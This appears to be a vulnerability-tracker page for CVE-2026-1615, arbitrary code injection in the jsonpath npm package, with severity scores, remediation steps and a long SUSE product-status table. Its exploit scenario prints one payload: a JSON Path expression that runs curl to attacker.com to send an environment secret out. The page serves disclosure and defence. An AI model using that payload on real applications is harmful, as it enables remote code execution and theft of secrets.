jsonpath CVE-2026-1615
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify API endpoint accepting JSON Path queries
-
DeliveryCraft malicious expression with embedded JavaScript
-
ExploitSubmit payload to vulnerable jsonpath method
-
Executionstatic-eval module executes injected code
-
PersistArbitrary code runs in application context
-
ImpactExfiltrate data or establish persistence
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the target application to accept user-supplied or externally-controlled data as JSON Path query expressions and pass that input to jsonpath library methods (.query, .nodes, .paths, .value, .parent, or .apply) without sanitization. This pattern typically occurs in API endpoints offering dynamic data filtering, search functionality with flexible query syntax, or developer tools exposing JSON Path evaluation interfaces. The vulnerability does NOT affect applications using jsonpath exclusively with hardcoded or application-controlled query strings. Attack vector is network-based (AV:N) with low complexity (AC:L), requiring no authentication (PR:N) or user interaction (UI:N), but the AT:P (Attack Requirements: Present) modifier indicates the specific architectural condition of exposing query evaluation to untrusted input must exist. Limiting factors include: applications must use jsonpath versions <1.2.0, the execution context determines impact type (Node.js for RCE, browser for XSS), and defensive coding practices like input validation or predefined query templates prevent exploitation even in vulnerable versions. |
| Impact | Real-world risk assessment reveals moderate-to-high priority despite conflicting signals. CVSS 4.0 vector (AV:N/AC:L/PR:N/UI:N) confirms remote unauthenticated exploitation with low complexity, yielding an 8.2 base score with high confidentiality, integrity, and availability impact. However, the AT:P (Attack Requirements: Present) modifier indicates specific prerequisites must be met. EPSS at 0.09% (26th percentile) suggests limited widespread exploitation, likely because the vulnerability requires applications to pass untrusted user input directly to jsonpath query methods - a pattern that exists but is not universal. Publicly available exploit code (E:P in CVSS vector) lowers the skill barrier for exploitation. The extensive vendor patching activity (Red Hat, SUSE) across multiple product lines indicates the library's integration into enterprise software stacks. Critical factors elevating risk: automatable exploitation once conditions are met, no user interaction required, and dual RCE/XSS impact depending on context. Mitigating factors: requires application to expose jsonpath query functionality to untrusted input, and EPSS indicates attackers are not yet broadly targeting this pattern. Priority should be HIGH for any application passing user-controlled data to jsonpath methods, MEDIUM for applications using jsonpath only with trusted/internal data sources. |
| Exploit ScenarioDerived | An attacker identifies a Node.js web application exposing an API endpoint that accepts a JSON Path query parameter to filter returned data (e.g., /api/data?filter=$.users[?(@.active)]). The attacker crafts a malicious JSON Path expression containing executable JavaScript, such as $.users[?((function(){require('child_process').exec('curl attacker.com/exfil?data='+process.env.SECRET)})())]. When the application passes this untrusted input to jsonpath's .query() method, the static-eval module evaluates the embedded JavaScript code, executing the attacker's payload with the privileges of the Node.js process. The attacker achieves remote code execution, exfiltrating environment variables or establishing persistence. Publicly available exploit code exists, lowering the barrier for less-skilled attackers to weaponize this vulnerability. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Apr 29, 2026
Remote code execution in the jsonpath npm package (versions <1.2.0) allows unauthenticated attackers to execute arbitrary JavaScript code by injecting malicious JSON Path expressions. The vulnerability stems from unsafe evaluation through the static-eval module, which processes user-supplied JSON Path input without proper sanitization. All query methods (.query, .nodes, .paths, .value, .parent, .apply) are affected. While EPSS scoring indicates relatively low widespread exploitation probability (0.09%, 26th percentile), multiple vendor patches from Red Hat and SUSE confirm the severity, and publicly available exploit code exists (CVSS E:P). This represents critical risk for Node.js applications processing untrusted JSON Path expressions, with potential for both server-side RCE and browser-based XSS depending on execution context.
Earlier versions of this analysis (1)
Code injection in jsonpath library via unsafe eval in JSONPath expressions.
RemediationAI
Upgrade to jsonpath version 1.2.0 or later, which addresses the arbitrary code injection vulnerability through commits 9631412641b7095f86840a7a45b5b3afc68b0fcb and b61111f07ac1a8d0f3133b5fc51438ecb76a6c39. For systems using Red Hat products, apply RHSA-2026:6174, 6308, 6309, 6404, or 6802 as appropriate for your platform. SUSE users should apply SUSE-SU-2026:1008, 1013, 1035, or 1148. If immediate patching is not feasible, implement strict input validation: whitelist only alphanumeric characters, dots, and brackets in JSON Path expressions, and reject any input containing parentheses, JavaScript operators, or function calls - this prevents expression evaluation but may break legitimate complex query functionality. Alternatively, isolate jsonpath execution in a sandboxed environment with restricted permissions, though this adds operational complexity and potential performance overhead. For browser contexts, implement Content Security Policy with 'unsafe-eval' prohibited to limit XSS impact, though this does not prevent server-side RCE and may conflict with other application requirements. Most effective mitigation: never pass user-controlled input directly to jsonpath query methods; instead, expose only predefined, application-controlled query templates.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The jsonpath library is a Node.js implementation of JSONPath query syntax for traversing and extracting data from JSON structures. The vulnerability resides in the library's dependency on the static-eval module to evaluate user-supplied JSON Path expressions. CWE-94 (Improper Control of Generation of Code) occurs because static-eval was not designed as a security boundary for untrusted input. When processing JSON Path queries containing executable JavaScript constructs, the evaluation engine interprets and executes the code rather than treating it as data. The vulnerable code path is in lib/handlers.js (line 243 per references), where expression evaluation occurs without input validation or sandboxing. This architectural flaw affects all methods that traverse JSON objects using evaluated expressions, creating multiple attack surfaces across the API.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (snyk).
CVSS VectorVendor: snyk
Lifecycle Timeline
5DescriptionCVE.org
Versions of the package jsonpath before 1.2.0 are vulnerable to Arbitrary Code Injection via unsafe evaluation of user-supplied JSON Path expressions. The library relies on the static-eval module to process JSON Path input, which is not designed to handle untrusted data safely. An attacker can exploit this vulnerability by supplying a malicious JSON Path expression that, when evaluated, executes arbitrary JavaScript code, leading to Remote Code Execution in Node.js environments or Cross-site Scripting (XSS) in browser contexts. This affects all methods that evaluate JSON Paths against objects, including .query, .nodes, .paths, .value, .parent, and .apply.
Executive ViewAI
The jsonpath npm package versions below 1.2.0 contains a remote code execution vulnerability affecting Node.js applications that process untrusted JSON Path expressions, enabling unauthenticated attackers to execute arbitrary JavaScript code. This impacts any organization using this package in production environments, particularly those handling user-supplied data or third-party JSON inputs, with immediate patching required to prevent application compromise.
Vendor-released patch: jsonpath npm package version 1.2.0 or later. If immediate patching is not possible, implement strict input validation and sanitization on all JSON Path expressions before processing; restrict jsonpath usage to trusted data sources only; deploy Web Application Firewall (WAF) rules to detect JSON Path injection patterns; run Node.js applications with minimal privilege and in isolated containers to limit RCE blast radius.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond
Same weakness CWE-94 – Code Injection
View allVendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| Container suse/manager/4.3/proxy-httpd:4.3.17.9.76.1 | Affected |
| Container suse/manager/5.0/x86_64/server:latest | Affected |
| Image SLES15-SP5-SAP-Azure-LI-BYOS Image SLES15-SP5-SAP-Azure-LI-BYOS-Production Image SLES15-SP5-SAP-Azure-VLI-BYOS Image SLES15-SP5-SAP-Azure-VLI-BYOS-Production Image SLES15-SP7-SAP-Azure-LI-BYOS-Production Image SLES15-SP7-SAP-Azure-VLI-BYOS-Production | Affected |
| SUSE Linux Enterprise Desktop 15 SP7 SUSE Linux Enterprise High Performance Computing 15 SP7 SUSE Linux Enterprise Module for Basesystem 15 SP7 SUSE Linux Enterprise Server 15 SP7 SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP7 | Fixed |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Fixed |
| SUSE Linux Enterprise Server 16.0 SUSE Linux Enterprise Server for SAP applications 16.0 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Fixed |
| SUSE Manager Client Tools 15 | Fixed |
| SUSE Manager Client Tools for SLE Micro 5 | Fixed |
| SUSE Manager Proxy LTS 4.3 | Fixed |
| SUSE Manager Retail Branch Server LTS 4.3 | Fixed |
| SUSE Manager Server LTS 4.3 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-Micro-5 | Fixed |
| openSUSE Leap 15.6 | Fixed |
| openSUSE Leap 16.0 | Fixed |
| SUSE Linux Enterprise Server 16.0 | Affected |
| SUSE Multi Linux Manager Tools SLE-15 | Affected |
| SUSE Multi Linux Manager Tools SLE-Micro-5 | Affected |
| SUSE Linux Enterprise Desktop 15 SP7 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Fixed |
| SUSE Linux Enterprise Module for Basesystem 15 SP7 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP7 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP7 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP7 | Fixed |
| SUSE Linux Enterprise Server 15 SP7 | Fixed |
| SUSE Linux Enterprise Server 16.0 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Fixed |
| SUSE Linux Enterprise Server for SAP applications 16.0 | Fixed |
| SUSE Manager Client Tools 15 | Fixed |
| SUSE Manager Client Tools 15 | Fixed |
| SUSE Manager Client Tools 15 | Fixed |
| SUSE Manager Client Tools 15 | Fixed |
| SUSE Manager Client Tools 15 | Fixed |
| SUSE Manager Client Tools 15 | Fixed |
| SUSE Manager Client Tools 15 | Fixed |
| SUSE Manager Client Tools 15 | Fixed |
| SUSE Manager Client Tools 15 | Fixed |
| SUSE Manager Client Tools 15 | Fixed |
| SUSE Manager Client Tools for SLE 12 | Fixed |
| SUSE Manager Client Tools for SLE 15 | Fixed |
| SUSE Manager Client Tools for SLE Micro 5 | Fixed |
| SUSE Manager Client Tools for SLE Micro 5 | Fixed |
| SUSE Manager Client Tools for SLE Micro 5 | Fixed |
| SUSE Manager Client Tools for SLE Micro 5 | Fixed |
| SUSE Manager Client Tools for SLE Micro 5 | Fixed |
| SUSE Multi-Linux Manager Client Tools for SLE 12 | Fixed |
| SUSE Multi-Linux Manager Client Tools for SLE 15 | Fixed |
| openSUSE Leap 15.6 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Fixed |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Fixed |
| SUSE Manager Proxy LTS 4.3 | Fixed |
| SUSE Manager Proxy LTS 4.3 | Fixed |
| SUSE Manager Proxy LTS 4.3 | Fixed |
| SUSE Manager Proxy LTS 4.3 | Fixed |
| SUSE Manager Proxy LTS 4.3 | Fixed |
| SUSE Manager Proxy LTS 4.3 | Fixed |
| SUSE Manager Proxy LTS 4.3 | Fixed |
| SUSE Manager Proxy Module 4.3 | Fixed |
| SUSE Manager Retail Branch Server LTS 4.3 | Fixed |
| SUSE Manager Server LTS 4.3 | Fixed |
| SUSE Manager Server LTS 4.3 | Fixed |
| SUSE Manager Server LTS 4.3 | Fixed |
| SUSE Manager Server LTS 4.3 | Fixed |
| SUSE Enterprise Storage 6 | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Fixed |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Fixed |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Fixed |
| SUSE Manager Proxy Module 4.1 | Fixed |
| SUSE Manager Proxy Module 4.2 | Fixed |
| openSUSE Leap 15.3 | Fixed |
| openSUSE Leap 15.4 | Fixed |
| openSUSE Leap 15.5 | Fixed |
| SUSE Manager Tools 15 SP1 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-Micro-5 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-Micro-5 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-Micro-5 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-Micro-5 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-Micro-5 | Fixed |
| SUSE Multi Linux Manager Tools Beta SLE-Micro-5 | Fixed |
| SUSE Multi Linux Manager Tools SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools SLE-15 | Fixed |
| SUSE Multi Linux Manager Tools SLE-Micro-5 | Fixed |
| SUSE Multi Linux Manager Tools SLE-Micro-5 | Fixed |
| SUSE Multi-Linux Manager Beta Client Tools for SLE 15 | Fixed |
GHSA-87r5-mp6g-5w5j
NVD
CVE.org
EPSS
VulDB
Exploit-DB